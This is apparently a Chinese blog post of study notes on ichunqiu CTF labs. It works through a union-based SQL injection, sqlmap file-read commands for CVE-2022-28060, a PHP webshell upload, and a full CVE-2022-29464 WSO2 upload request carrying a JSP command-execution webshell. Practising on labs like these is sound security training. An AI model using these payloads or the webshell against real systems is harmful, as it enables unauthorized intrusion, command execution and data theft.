chunqiu

学的难受,不实战的话,非常容易忘。

1.sql注入

1.说是登录框页面有sql注入

登录是邮箱id登录

但是有注册功能,忘记密码功能(是一个摆设)。先注册一个进去。

发现是个线上问答系统

f12,发现有提示

<!– Collect the nav links, forms, and other content for toggling –>

那就是功能点home,history,ranking 还有个登出功能

即答题,历史记录,排行榜

先注意到当前页面url有?id=1的格式

尝试注入,(单引号,双引号,布尔)没报错,sleep(没反应)

放弃,发现可以进去答题

比如uid=123456&q=12321&n=2&t=10

发现,url上参数很多,且每点一次提交,其中一个参数n会变化

尝试n=2’&t=10,出现了报错。

Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/welcome.php on line 98

n=2'--+有回显,欧克

**2’ order by 6–+ **报错

2’ order by 5–+正常

n=-2%27union%20select%201,2,3,4,5--+

有一个回显位为3

替换:

database(),为ctf

version(),10.3.34-MariaDB-0+deb10u1

MariaDB 采用MySQL 的数据和表定义文件

爆表

n=-2%27%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),4,5--+ //group_concat

n=-2%27%20union%20select%201,2,(select%20concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database() limit 0,1),4,5--+ //concat

concat返回一行,一般搭配limit

group_concat,拼接各行成为一行输出,长度限制一般1024个字符长度

user,options,quiz,admin,questions,history,rank,flag,answer

爆字段

n=-2%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flag%27),4,5--+

flag

n=-2%27%20union%20select%201,2,(select%20group_concat(flag)%20from%20ctf.flag),4,5--+

欧克

CVE-2022-28512

内容管理系统

2‘报错

2’–+正常

2' order by 1--+

CVE-2022-28060

登录框上存在注入;

不会,看了wp,是时间盲注,我不知道怎么试出来的,看了几个wp都是用了sqlmap扫。

(emmm,这手工怎么能发现延时注入呢)

python sqlmap.py -u http://eci-2ze6l4gdtbam0rk6gt5e.cloudeci1.ichunqiu.com/includes/login.php

没结果。

–technique:是指定探测技术B:表示布尔盲注,T:表示时间盲注,E:表示报错注入,U:表示联合注入
S:表示堆查询注入;利用-v参数指定显示等级,当取最大值等于3时,将显示sqlmap所使用的payload详情
-p/–skip :指定/跳过测试参数

burp post请求可以用sqlmap文本注入,抓包,数据包全选保存为txt文件。

python sqlmap.py -r e:\渗透\111.txt

emmm,运行太久了,放弃。

将wp粘贴如下:

python sqlmap.py -r 1.txt --sql-shell -v

select load_file('/flag')

sqlmap -r 1.txt --file-read "/flag" --dbms Mysql

-r 1.txt:这个选项告诉sqlmap从1.txt这个文件中读取HTTP请求。
–file-read “/flag”:这个选项让sqlmap尝试从目标数据库服务器上读取”/flag”文件。这个行为可能会被视为一种攻击,因为它可能涉及到未经授权的文件访问。
–dbms Mysql:这个选项指定了目标数据库的类型是MySQL。

2.任意文件上传漏洞

php+mysql

这是个邮箱登录界面,进行了正则匹配。

但是没有合适的邮箱,错误邮箱提示不存在,bp也没有什么

email=123%401.com&password=asd&login=

发现页面底部有

Copyright © 2022 Project Develop by ….可以点击

在页面随便点点,可以找到作者的邮箱

mayuri.infospace @ gmail.com

bp构造login=0,login=1也绕不过去哇

密码那个跳转连接的名字,可以通过

进去后的界面,是个药房管理系统,有各种报告。

其中有导入xlsx文件的地方,尝试个一句话木马

Warning: require_once(../libraries/phpexcel/PHPExcel.php): failed to open stream: No such file or directory in /var/www/html/php_action/createBrandImport.php on line 6

Fatal error: require_once(): Failed opening required ‘../libraries/phpexcel/PHPExcel.php’ (include_path=’.:/usr/local/lib/php’) in /var/www/html/php_action/createBrandImport.php on line 6

尝试貌似不行

在产品的管理下,发现产品是有图片的,考虑编辑一下,确实有改变产品图像的地方。上传木马。

不需要绕过;

右键图片,复制图片地址,打开蚁剑了解。

找到根目录的flag文件

CVE-2022-29464

允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。

进入登录界面,f12

抓包,repeater,粘贴官方poc,上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /fileupload/toolsAny HTTP/1.1
Host: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 896
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0


--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp"

<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<%=output %>
--4ef9f369a86bfaadf5ec3177278d49c0--

(为什么,repeater后,粘贴这些内容,改一下host,运行go,没有response嘞)

访问名问/shelltest.jsp/?cmd=cat+%2Fflag的路径即可。我没成功

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信